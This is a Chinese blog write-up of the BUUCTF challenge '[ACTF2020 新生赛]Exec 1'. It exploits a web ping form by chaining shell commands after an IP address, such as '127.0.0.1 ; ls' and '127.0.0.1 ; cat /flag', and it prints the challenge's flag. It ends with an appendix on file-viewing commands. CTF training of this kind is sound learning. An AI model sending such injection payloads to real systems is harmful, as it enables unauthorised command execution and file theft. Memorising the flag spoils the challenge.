[ACTF2020 新生赛]Exec 1-BUUCTF
2023-11-15
| 2024-4-21
0  |  阅读时长 0 分钟
type
status
date
slug
summary
tags
category
icon
password
@ZZHow(ZZHow1024)

Command Injection(命令注入)类

含义:在文本框内写一些”恶意“命令!

思路:把命令混进文本框内,并且让它能执行。

实操:

1、启动靶机,观察题目界面

[ACTF2020 新生赛]Exec 1题目界面
[ACTF2020 新生赛]Exec 1题目界面
  • 发现是一个PING功能。
  • 怀疑很可能是命令注入
 

2、寻找解题思路

  • 先正常PING一次本机(127.0.0.1)。
127.0.0.1的结果
127.0.0.1的结果
  • 尝试使用命令连接符连接Linux命令。
  • 构建命令:
    • 127.0.0.1 ; ls
  • 填入文本框中,点击”PING” !
    • 127.0.0.1 ; ls的结果
      127.0.0.1 ; ls的结果
  • 发现在直接PING本机的结果下方多出了index.php
    • 那么说明的确存在命令注入漏洞。
    • 且该操作系统的确为Linux。
 

3、寻找Flag

  • 经验告诉我们一般Flag在根目录下。
  • 看看根目录下都有什么吧 🔎
  • 构建命令:
    • 127.0.0.1 ; cd ../../../ ; ls
  • 填入文本框中,点击”PING” !
127.0.0.1 ; cd ../../../ ; ls的结果
127.0.0.1 ; cd ../../../ ; ls的结果
  • 发现Flag!
    • 结合其他文件名判断是在根目录。
 

4、打开Flag文件

  • 可用的查看文件内容命令:
    • 1. cat命令
    • 2. nl命令(比cat多了行数提示)
    • 3. more命令
    • 4. less命令
    • 5. head命令
    • 6. tail命令
    • 具体解释看文末
  • 构建命令(以下几个都可以):
    • 127.0.0.1 ; cat /flag
    • 127.0.0.1 ; nl /flag
    • 127.0.0.1 ; more /flag
    • 127.0.0.1 ; less /flag
    • 127.0.0.1 ; head /flag
    • 127.0.0.1 ; tail /flag
  • 填入文本框中,点击”PING” !
 

5、获得Flag

除了nl外的5个命令返回的结果均为这个👆
除了nl外的5个命令返回的结果均为这个👆
 

6、解题成功!

  • 在PING命令结果下(最后一行)即为Flag。
  • 注意:若你使用的是nl 命令最后一行为
    • 1 flag{5001a97b-6158-4739-b37d-b25c510e3b7d}
    • flag前的1是行数,复制Flag的时候请去掉。
  • 获得Flag!
 
 
 
 
 

额外补充—关于查看文件的六个命令

  1. cat(英文全拼:concatenate)命令
    1. 用于连接文件打印到标准输出设备上
    2. cat [-AbeEnstTuv] [--help] [--version] fileName
    3. 将整个文件的内容从上到下显示在屏幕上。
  1. nl 命令
    1. 用于读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号打印到标准输出设备上
    2. nl [参数] fileName
    3. 将整个文件的内容(带行号)从上到下显示在屏幕上。
  1. more命令
    1. 类似 cat ,用于以一页一页的形式显示
    2. more [-dlfpcsu] [-num] [+/pattern] [+linenum] fileNames
    3. 按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h 。
  1. less命令
    1. 类似 more,用于随意浏览文件。
    2. less [参数] 文件
    3. 支持翻页和搜索,支持向上翻页和向下翻页。
  1. head命令
    1. 用于查看文件的开头部分的内容。
    2. head [参数] [文件]
    3. 有一个常用的参数 -n 用于显示行数,默认为 10,即显示 10 行的内容。
  1. tail命令
    1. 用于查看文件的内容。
    2. tail [参数] [文件]
    3. 有一个常用的参数 -f 常用于查阅正在改变的日志文件。tail -f filename 会把 filename 文件里的最尾部的内容显示在屏幕上,并且不断刷新,只要 filename 更新就可以看到最新的文件内容。
  • CTF
  • BUUCTF
  • [GXYCTF2019]Ping Ping Ping 1-BUUCTF[极客大挑战 2019]EasySQL 1-BUUCTF
    Loading...
    目录